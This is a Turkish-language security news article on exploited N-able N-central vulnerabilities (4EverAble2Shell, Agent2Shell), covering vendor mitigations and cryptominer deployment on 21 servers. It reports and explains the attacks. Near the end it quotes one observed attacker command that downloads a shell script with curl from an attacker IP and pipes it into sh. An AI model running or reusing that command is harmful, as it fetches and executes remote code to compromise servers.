N-able N-central Güvenlik Açıkları Kripto Madenciliği Saldırılarına Yol Açtı: 21 Sunucu Etkilendi

N-able N-central Güvenlik Açıkları Kripto Madenciliği Saldırılarına Yol Açtı: 21 Sunucu Etkilendi

N-able, 4EverAble2Shell ve Agent2Shell olarak bilinen yeni güvenlik açıkları setinin kamuya açıklanmasının ardından ek önlemler aldığını duyurdu. Şirket, 13 Kasım 2026 Perşembe günü yaptığı açıklamada, “Belirli N-central özelliklerini ve entegrasyonlarını kısıtlıyoruz” dedi. “Bu önlemler bazı işlevleri etkileyebilir, ancak düzeltmeler tamamlanana kadar ek önlemler almanın ortaklarımızı ve müşterilerini korumak için doğru eylem olduğuna inanıyoruz.”

Barındırılan ortamlara aşağıdaki eylemler uygulandı:

• Üründe eski API varsayılan olarak kapatıldı.
• Ek korumalar uygulanıp doğrulanana kadar Intune entegrasyonu kapatıldı.

Barındırılan müşterilere ayrıca, N-able’ın N-central sürüm 2026.4 HF1 ve üzeri üzerindeki Agent’ları ve Probları yükseltmeye yönelik önceki yönergelerini takip etmeleri öneriliyor, çünkü bu güncelleme Prob ve Agent’ın iletişim kurma şeklini değiştiriyor. N-able, “N-able N-central 2026.4 HF1, Agent ve Prob’un eski bileşenlerini güncelleyerek ikisinin iletişim kurma şeklini değiştirir” dedi. “Bu nedenle, tüm yönetilen cihazların iletişim kurmasını ve yamalanmasını sağlamak için N-central sunucunuzdaki hem Agent’ları hem de Probları yükseltmek ZORUNLUDUR.”

Şirket içi müşterilere Agent’ları ve Probları yükseltmeleri ve daha önce açılmışsa ortamda Eski API erişiminin devre dışı bırakıldığından emin olmaları tavsiye ediliyor. N-able, “Ekiplerimiz yeni açıklamaları aktif olarak değerlendiriyor, ek düzeltmeler geliştiriyor ve etkilenen işlevleri güvenli bir şekilde geri yüklemek için çalışıyor” dedi. “Ortaklarımızı ve müşterilerini korumak en yüksek önceliğimiz olmaya devam ediyor ve gerektiğinde önleyici tedbirler almaya devam edeceğiz.”

4EverAble2Shell ve Agent2Shell Güvenlik Açıkları

Bu gelişmeler, bağımsız güvenlik araştırmacısı Sean Bales’in N-central’ın en son sürümüne karşı çalışan ve saldırganların kök olarak rastgele kod yürütmesine ve belirli koşullar altında Windows sistemlerine SYSTEM düzeyinde erişim sağlamasına olanak tanıyan 4EverAble2Shell ve Agent2Shell adlı iki yeni güvenlik açığı setini açıklamasının ardından geldi.

Çok sayıda tehdit istihbaratı raporu, 4EverAble2Shell’in ön yoklamanın ötesine geçerek aktif istismar çabalarına dönüştüğünü ve tehdit aktörlerinin bunu savunmasız sunuculara kripto para madencileri dağıtmak için kullandığını gösteriyor.

Saldırıların, kritik bir Apache Axis güvenlik açığı olan CVE-2026-90436 (CVSS puanı: 9.8) ile ayrı bir N-central ayrıcalık yükseltme zayıflığını bir araya getirerek kök düzeyinde erişim elde ettiği tespit edildi. Hatayı VULN-2026-0009 olarak izleyen Previdian, “4EverAble2Shell olarak açıklanan N-able N-central’daki kimlik doğrulaması yapılmamış bir istismar zincirinin, uzak saldırganların kök ayrıcalıklarıyla rastgele işletim sistemi komutları yürütmesine izin verdiği bildiriliyor” dedi. “Zincir, paketlenmiş Apache Axis bileşenindeki SOAP hata işleme sırasında güvenli olmayan sınıf örneklemesini istismar ediyor. Hazırlanmış bir istek, saldırgan tarafından seçilen bir JLine sınıfının kötü amaçlı girdiyi işlemesine neden olarak nable hizmet hesabı olarak komut yürütülmesine yol açıyor.”

Tehdit istihbarat şirketinin ayrıntılı olarak açıkladığı bir istismar zincirinde, tehdit aktörlerinin “157.20.241[.]16” adresindeki saldırgan kontrollü bir sunucudan bir kabuk betiği (“jup.sh”) indirmeye ve yürütmeye çalıştığı, aynı zamanda sunucuya tanılama bilgileri ve komut çıktısı gönderdiği gözlemlendi.

Kripto Madenciliği Saldırıları ve Etkilenen Sunucular

Siber güvenlik şirketi Huntback da aynı IP adresinin 4EverAble2Shell güvenlik açığını kullanarak, yukarıda bahsedilen kabuk betiği aracılığıyla 21 N-central sunucusuna bir XMRig Monero kripto para madencisi dağıttığını ortaya koydu:

mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]

Madenci, fark edilmeden kalmak amacıyla mevcut CPU çekirdeklerinin yalnızca yarısını kullanacak şekilde tasarlanmıştır. Güvenliği ihlal edilen N-central sunucuları ABD, Güney Afrika, Kanada, Birleşik Krallık, Almanya, Fransa ve İsveç’te yoğunlaşmıştır.

Huntback, “Gördüğümüz tek yük madenci, ancak yükseltme, operatöre müşterilerinizin uç noktalarını yöneten bir ana bilgisayarda kök erişimi sağlıyor” dedi. “Bir isabeti, bir temizleme işi olarak değil, tam bir uzlaşma olarak değerlendirin. Hotfix 2’yi uygulamak tek başına yeterli değil: Buradaki kurbanların 19’u zaten bunu çalıştırıyordu.”